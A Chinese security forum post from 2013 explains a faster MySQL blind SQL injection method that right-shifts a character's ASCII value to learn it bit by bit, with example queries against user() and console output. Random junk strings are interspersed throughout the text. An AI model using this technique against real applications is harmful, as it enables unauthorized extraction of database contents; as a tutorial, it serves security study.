找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1908|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
# K/ o% v( f" t9 S: e4 L- x6 P4 z+ y9 l6 d: l. U
0 _. ]: z& J5 e, o0 r

, V$ K$ U+ ~' Q# Q" j下面将以查询mysql数据库当中user()的第一位为例:" h. d' Z6 j: {( Z& T8 t; Q

% u9 K4 ]$ P& V% F2 b 8 O) P$ u7 D  @) y0 \6 b+ ?% y

: F% W7 ?! j' y8 n; Aps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
3 u' g$ Z# L, y- W! Z# g& E
2 R0 g3 ~( ~; M& k . y: V& X2 v; e$ M1 m' d

/ z7 |7 H8 F2 M0 X: s首先执行如下sql语句:
, `$ G. s. N( z6 Y, c3 e$ O) G* H$ p3 x- H; G8 D9 Z3 h

% f9 O$ F; @' i
+ C& s5 I* F1 E+ L; j; K6 a( Xmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
( p6 S4 ~0 b( v. n% M, L& L6 o# i! [( x: F& S9 ~" h

4 U$ {2 ~9 }3 [7 A" E0 {/ ]- ?$ s4 i$ q
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的4 d2 s9 N; S5 ~! Q5 \' M' _) Y5 p

! B: o! ^- x5 }. ]$ W! E
) D$ E: @& l0 P! @7 E5 s( l& P5 W
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为19 u2 f1 u: w- R( I  s' |& c! {, k

/ A" Q+ r; m# B# z& ~& x7 v$ X 6 ~! B1 ]# b& Y. N
# [% v& T; j0 G5 u4 `
如果运算结果为1,说明第一位为0,不为1
' o2 a! A& d  y" ]' }4 l" v5 ]3 d, a; _

8 D$ u+ p; l) J2 L* R0 B- k* e. d% z; r
+————————————–+
* [1 D8 Z% C* Q: j" Q/ v$ p3 M/ X- k9 N
| (ascii((substr(user(),1,1))) >> 7)=0 |
: J  Q. F% P# O% \
0 O! b8 R6 `3 j. v. r+————————————–+" `! h( ^! a. j: ^) O8 Z
7 G$ x. d  V, D0 f
| 1 |
, c% @$ k8 I' ^9 x
+ p# f( P2 g- X& F. p& K. I+————————————–+
7 e% T- b% ^8 F' ?* H7 w
. a$ g5 [. y8 b+ b5 `0 s# C1 row in set (0.00 sec)+ r0 G7 t4 X0 O$ B* i9 K4 u# ?& s
; F" ~" D9 u$ C. Q
这样我们就确定这个8bit的ascii的第一位为0$ L6 c' s2 t4 _) r& Z
( {& N5 e; F0 V

9 V0 x( N+ Q+ l* q$ _1 k7 z/ W" @( W& @
第二次我们来做6次右偏移来确定前两位
- G1 w, |2 X, E; w. a0 |0 i9 x4 U7 X" [% e( N& m3 F" p

7 P& `, X# c  w/ `5 S* n* v3 M
6 y7 m1 D/ C4 I3 x4 v7 I+ Q; d前两位可能是01或00,即依然可以与0做比较,
5 u/ Q* O, S/ m* M; P6 h& d( P# i
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
- O) @. H- I9 A& ^6 K0 i
1 N* y4 X3 E5 G% u1 d4 s+————————————–+
. J; m( P+ ]9 }4 T  j
$ X$ {9 v% A2 m" u# K: g| (ascii((substr(user(),1,1))) >> 6)=0 |
0 u$ J4 ~) u+ n
0 W0 ^, w# |. l- {& q+————————————–+9 N" m3 n% O; w7 o- j' |: w3 X

3 E0 {( q% Y- `0 E" \* z| 0 |
% K( R5 l) O# k7 ~* q- Y7 o! M7 h+ U0 I' @
+————————————–+. Z7 Y1 @1 h4 d, q9 W

5 r- V3 B2 v, `3 @1 {9 G1 row in set (0.00 sec)2 P8 `# Y0 y) S
6 x: q8 Q# q. J

2 y/ M, A0 F  F+ R- G. w# @2 g: a! L+ Z  m. j: t
结果为0,即第二位为1
( w" H0 S( S, u4 U* r2 f  ^% Z' v  B" r- f& M# w9 y) u8 u, U

8 v4 {6 X! Y2 o; R0 s$ ~' A$ W4 d+ P8 l" M8 V
开始猜测前三位为010或011
, T- e: j( S# u- g0 i  t3 y+ C( v
9 V$ R0 Z, ?$ Z, Y 5 s5 q6 A/ H$ v
% t; P4 B$ j+ z+ e) @+ {9 V6 M
让我们看看010和011的ascii码是多少3 @1 z7 f# y* {, f; N! c; c
( t: w1 o' [: p% Q7 P
( n5 e7 d. J2 j8 X( u4 g

8 x% a: M0 ?5 ?/ c/ f分别查询select b’011′ select b’010′- u+ K+ H* P! e
" E* |4 c" S- X: a1 M4 ?
7 L1 h, O" I4 r; A

2 q& l% H& W- m7 i) t# `  `获得结果 010 = 2 011 = 30 K6 u& b# L: B! M6 [' S9 _7 E! A

# C' U& ^: D6 v& W! g  R! C
3 u5 u! a8 t% K( j
$ N4 Z# q5 A) y' A2 S0 t3 b! i执行如下sql:4 B# ^$ v$ S/ ]1 @1 ?
" _1 f- P3 ~9 h( M

& @% p; @- @1 {% n$ T" R8 g  F" a& q2 L+ y+ ^$ i1 h4 N* ?
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
  O( j5 ^, O' X3 `' p& d8 m- _; P" M/ P5 f
+————————————–+
5 x3 ~. I$ }6 Q8 N
  x2 [2 e% N% N! f: M2 r| (ascii((substr(user(),1,1))) >> 5)=2 |' u* }$ Z% {2 a5 J

% D4 E; p3 G- V  X+————————————–+7 N0 z' o& s+ F& _% Z! k6 N! d) s0 M
/ D$ x! h' g( D( }5 e! H( \
| 0 |
4 d1 f3 W6 V; e# A% d
! V7 x1 ^6 F3 W' h* w+————————————–+
" r, I$ {! q6 J0 ]* l( q2 H0 b
* s& O+ z; i$ l* E8 W即前三位不为010,而是011  F2 o6 u( [2 t& y( ?
: q9 z7 ^. Q8 D7 @1 K( x6 H
4 Q, B1 }% `. o* N. d/ ]3 ?( Y

5 S3 o' Y0 @* m" n直到获得最后一位
  C" J" [% k# k  v+ j9 F& I& T. o
* |' X; I% R$ C. v , ?) E0 s' w' c7 e: p! S- A
/ Q4 T7 k: ]3 B. M( X: I7 F, r
最终结果为:01110010
( j- b- S! [( h- y) l" k5 k9 q5 U4 s
7 n" t8 b+ s5 r2 `8 O: V & G# U' A$ M6 f+ h
3 j- s! Y) t  h% f0 S8 q: r
转换一下:
- R5 u+ K% [: C( r6 J, R( O) b2 p+ w+ J

! _$ x  Y' H3 H8 ~3 \# N
' g0 P1 i- n& k/ g7 m3 D2 ?select b’01110010′5 y/ |; L* c) o/ m( p: @

. |3 V2 g) w* ]: k2 r7 t; o # \' e9 t  j8 f0 o: }8 _! {! t( _8 a

; k! J( l# N. D查询结果
8 V* k" @* Q5 J/ |% J" B5 E8 o, v; S% I% {) {2 ]

0 C" F+ G& q9 {/ a' c% A* G! @0 _. \' I( K3 Q% U# V+ q1 Z2 P
+————-+
0 Y! t9 E: P8 E0 |" x  x
( P( P/ U; ^3 w' d| b’01110010′ |
. h) o* {4 K2 Q% V0 d: @2 H+ M4 ~2 P6 k. A: X# t$ t2 [9 m
+————-+9 a6 v# W5 Y9 A9 s7 a8 {- D9 J

: E1 d2 g) P. {6 V0 }| r |
, u$ Y( w6 P" v( W' M2 ~7 \1 s: ^, d
+————-++ T, [/ q5 ]. l! u# J% Q
1 y; h4 Z/ Z, m1 g) |2 L0 b
1 row in set (0.00 sec)3 L# X4 }. Y* R- k0 o

; ?' u7 y* q( k# j8 R5 Q" \7 A
) Q0 Y9 ~2 G; h3 A
, O/ R7 R# l) q0 A这样我们就获得了user()的第一位.其它位依此类推+ l: _" s6 n& V# z
1 j& P. ?' k- b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表